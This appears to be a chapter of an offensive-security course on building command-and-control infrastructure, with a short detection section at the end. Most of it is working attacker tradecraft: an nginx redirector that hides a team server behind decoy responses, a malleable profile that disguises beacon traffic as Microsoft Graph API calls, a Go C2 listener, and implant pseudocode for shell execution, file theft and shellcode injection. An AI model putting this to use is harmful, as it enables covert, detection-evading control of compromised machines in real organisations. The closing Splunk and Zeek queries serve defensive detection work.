C2 Infrastructure Design

Architecture of command-and-control systems: listener types, redirector chains, malleable C2 profiles, callback protocols, and the full infrastructure design that separates a pen test tool from a burned implant

C2 Core Concepts

Infrastructure Design Principles

Every component in C2 infrastructure should be isolated so that if one element is burned (blocked, sinkholed, seized), the rest remains operational. The key separation:

1. Team server: Never expose directly to the internet. Behind VPS with strict allow-list ingress from redirector IPs only. If this IP gets blocked nothing matters — it's hidden.
2. Redirectors: All implant-facing infrastructure. Sacrificial. When burned, swap in new ones without changing implant callback URLs (use domain names, not IPs).
3. Domains: Registered under privacy-protecting registrars, aged, categorized. Buy aged domains that have been cached by proxy services as benign categories (news, finance, tech).
4. CDN/Cloud fronting: Route traffic through major CDN providers (Cloudflare, AWS CloudFront, Azure Front Door) so the IP the target sees is Microsoft or Google, not yours.

Redirectors — Nginx Configuration

# Redirector nginx.conf — proxy legitimate C2 traffic, serve decoy for everything else

upstream teamserver {
    server 10.0.0.5:443;
}

server {
    listen 443 ssl;
    server_name cdn-update.corp-tools.com;

    ssl_certificate /etc/nginx/ssl/cert.pem;
    ssl_certificate_key /etc/nginx/ssl/key.pem;
    ssl_protocols TLSv1.2 TLSv1.3;

    # Allow-list: only proxy known C2 URI paths
    location /updates/v2/sync {
        # User-agent check (match your malleable profile)
        if ($http_user_agent !~ "Mozilla/5.0 \(Windows NT 10.0; Win64; x64\) AppleWebKit/537.36") {
            return 302 https://www.microsoft.com;
        }
        proxy_pass https://teamserver;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    location /updates/v2/push {
        if ($http_user_agent !~ "Mozilla/5.0 \(Windows NT 10.0; Win64; x64\) AppleWebKit/537.36") {
            return 302 https://www.microsoft.com;
        }
        proxy_pass https://teamserver;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
    }

    # Everything else — serve decoy (legit-looking static page)
    location / {
        return 200 '{"status":"ok","version":"2.1.0"}';
        add_header Content-Type application/json;
    }
}

# Additional security: rate-limit and geo-block non-target countries
# to reduce scanner noise finding your redirector
limit_req_zone $binary_remote_addr zone=c2:10m rate=30r/m;

server {
    # Block non-target geographies entirely if operation is specific region
    # Requires nginx geoip2 module + MaxMind GeoLite2 database
    # geoip2 /etc/nginx/GeoLite2-Country.mmdb { $geoip2_data_country_code ... }
    # if ($geoip2_data_country_code != "US") { return 403; }
}

Malleable C2 Profiles

A malleable profile is a configuration file (used by Cobalt Strike, Sliver, Havoc) that controls exactly how C2 traffic looks on the wire — the HTTP headers, URIs, user agents, response codes, and body encoding. The goal: make the traffic indistinguishable from normal browser or application traffic to proxy/DLP/NDR tools.

# Sliver HTTP profile example — disguise as Microsoft Graph API calls
# Format varies by C2 framework; this illustrates the concepts

set sleeptime "60000";        # 60 second sleep
set jitter    "30";           # ±30% jitter (42-78 seconds actual)
set maxdns    "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";

http-get {
    set uri "/v1.0/me/messages?$select=subject,receivedDateTime&$top=25";
    client {
        header "Accept" "application/json";
        header "Authorization" "Bearer ";
        header "Host" "graph.microsoft.com";  # domain fronting target
        metadata {
            base64url;
            prepend "MSAL_sessionId=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json";
        header "Cache-Control" "private";
        output {
            print;   # serve raw bytes as "JSON" body
        }
    }
}

http-post {
    set uri "/v1.0/me/sendMail";
    client {
        header "Content-Type" "application/json";
        header "Authorization" "Bearer ";
        output {
            base64url;
            prepend '{"message":{"subject":"Update","body":{"content":"';
            append  '"}}}';
        }
    }
}

# Key design principles:
# 1. Use URIs that match the service's real API patterns
# 2. Include expected headers (Authorization, Cache-Control)
# 3. Encode data in places data normally appears (cookies, body, specific headers)
# 4. Match response codes and content-types of the impersonated service
# 5. Choose a service that target org actually uses (DLP proxy whitelists it)

Protocol Selection by Environment

Listener Implementation — Custom HTTP C2

// Minimal HTTP C2 listener in Go — illustrates concepts
package main

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "encoding/base64"
    "net/http"
    "sync"
    "time"
)

type Agent struct {
    ID        string
    LastSeen  time.Time
    Key       []byte           // per-agent AES-256 key
    Tasks     []string
    mu        sync.Mutex
}

var (
    agents   = make(map[string]*Agent)
    agentsMu sync.RWMutex
)

func CheckinHandler(w http.ResponseWriter, r *http.Request) {
    // Extract agent ID from cookie (matches malleable profile)
    cookie, err := r.Cookie("MSAL_sessionId")
    if err != nil {
        http.NotFound(w, r)
        return
    }

    agentID, err := base64.URLEncoding.DecodeString(cookie.Value)
    if err != nil {
        http.NotFound(w, r)
        return
    }

    agentsMu.RLock()
    agent, ok := agents[string(agentID)]
    agentsMu.RUnlock()

    if !ok {
        // New agent — register
        agent = &Agent{
            ID:  string(agentID),
            Key: generateKey(),  // random per-agent key, exchanged during staging
        }
        agentsMu.Lock()
        agents[agent.ID] = agent
        agentsMu.Unlock()
    }

    agent.mu.Lock()
    agent.LastSeen = time.Now()

    // Get pending task, if any
    var task string
    if len(agent.Tasks) > 0 {
        task = agent.Tasks[0]
        agent.Tasks = agent.Tasks[1:]
    }
    agent.mu.Unlock()

    // Encrypt task and return as JSON body
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("Cache-Control", "private")

    if task == "" {
        w.Write([]byte(`{"@odata.context":"https://graph.microsoft.com/v1.0/$metadata#users/$entity"}`))
        return
    }

    encrypted := aesEncrypt(agent.Key, []byte(task))
    w.Write(encrypted)
}

func ResultHandler(w http.ResponseWriter, r *http.Request) {
    cookie, err := r.Cookie("MSAL_sessionId")
    if err != nil { http.NotFound(w, r); return }

    agentID, err := base64.URLEncoding.DecodeString(cookie.Value)
    if err != nil { http.NotFound(w, r); return }

    agentsMu.RLock()
    agent, ok := agents[string(agentID)]
    agentsMu.RUnlock()
    if !ok { http.NotFound(w, r); return }

    // Read encrypted result from POST body
    body := readBody(r)
    result := aesDecrypt(agent.Key, body)

    // Store/print result for operator (real impl: write to task result store)
    _ = result
    w.WriteHeader(http.StatusAccepted)
}

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/v1.0/me/messages", CheckinHandler)
    mux.HandleFunc("/v1.0/me/sendMail", ResultHandler)
    http.ListenAndServeTLS(":443", "cert.pem", "key.pem", mux)
}

func aesEncrypt(key, plaintext []byte) []byte {
    block, _ := aes.NewCipher(key)
    gcm, _ := cipher.NewGCM(block)
    nonce := make([]byte, gcm.NonceSize())
    rand.Read(nonce)
    return gcm.Seal(nonce, nonce, plaintext, nil)
}

Beacon Design — Client-Side Callback Loop

// Beacon callback logic (conceptual C pseudocode — full impl in later chapters)
void BeaconLoop() {
    while (1) {
        // Step 1: Jittered sleep
        DWORD sleepMs = BEACON_SLEEP + (rand() % (BEACON_SLEEP * JITTER_PCT / 100));
        Sleep(sleepMs);

        // Step 2: Check-in — GET to C2 URI, retrieve encrypted task blob
        BYTE taskBlob[MAX_TASK] = {0};
        DWORD taskLen = 0;
        if (!HttpCheckin(taskBlob, &taskLen)) {
            // Failed — increase backoff, try next callback domain
            sleepMs *= 2;
            continue;
        }

        if (taskLen == 0) continue;  // no task, sleep again

        // Step 3: Decrypt task with per-session AES key
        BYTE task[MAX_TASK] = {0};
        AesGcmDecrypt(g_sessionKey, taskBlob, taskLen, task);

        // Step 4: Dispatch to handler
        BYTE result[MAX_RESULT] = {0};
        DWORD resultLen = 0;
        DispatchTask(task, result, &resultLen);

        // Step 5: POST result back to C2
        HttpPostResult(result, resultLen);
    }
}

// Task dispatcher — maps command IDs to handlers
void DispatchTask(BYTE* task, BYTE* result, DWORD* resultLen) {
    DWORD cmdId = *(DWORD*)task;
    BYTE* args  = task + 4;

    switch(cmdId) {
        case CMD_SHELL:    ExecShell(args, result, resultLen);    break;
        case CMD_UPLOAD:   WriteFileToDisk(args, result, resultLen); break;
        case CMD_DOWNLOAD: ReadFileFromDisk(args, result, resultLen); break;
        case CMD_INJECT:   InjectShellcode(args, result, resultLen); break;
        case CMD_DIE:      ExitProcess(0); break;
        default:          *resultLen = 0; break;
    }
}

OPSEC — Infrastructure Hardening

Detection Engineering

-- Splunk: Beaconing detection via regular callback intervals
-- NDR (network) or proxy logs
index=proxy_logs
| eval hour=strftime(_time, "%H")
| where hour >= 7 AND hour <= 19  -- business hours
| stats count, stdev(bytes_out) as jitter, avg(bytes_out) as avg_size
        by src_ip, dest_host, interval_bucket
| eval regularity_score = if(jitter < 100 AND count > 20, 1, 0)
| where regularity_score = 1
| sort -count

-- Key detection signals for C2 traffic:
-- 1. Regular intervals to single destination (low jitter in connection timing)
-- 2. Similar-sized requests (beacon payloads are consistent)
-- 3. Destination is newly registered / uncategorized domain
-- 4. HTTPS to non-standard CDN (IP not in CDN ASN)
-- 5. JA3 fingerprint doesn't match claimed User-Agent browser version
-- 6. DNS query for C2 domain shortly before HTTPS callback (staging pattern)
-- 7. Long-lived connections with periodic data transfer (interactive shell pattern)

-- Zeek/Bro: JA3 TLS fingerprint anomaly detection
# ja3_seen: map fingerprint to claimed UserAgent, alert on mismatch
event ssl_client_hello(c: connection, version: count, record_version: count,
                       possible_ts: time, client_random: string,
                       session_id: string, ciphers: index_vec, comp_methods: index_vec) {
    # ja3 = md5(SSLVersion + Ciphers + Extensions + EllipticCurves + EllipticCurvePointFormats)
    # Compare against known-good browser fingerprint database
    # Alert if: JA3 hash not in whitelist AND destination is new domain
}

Q&A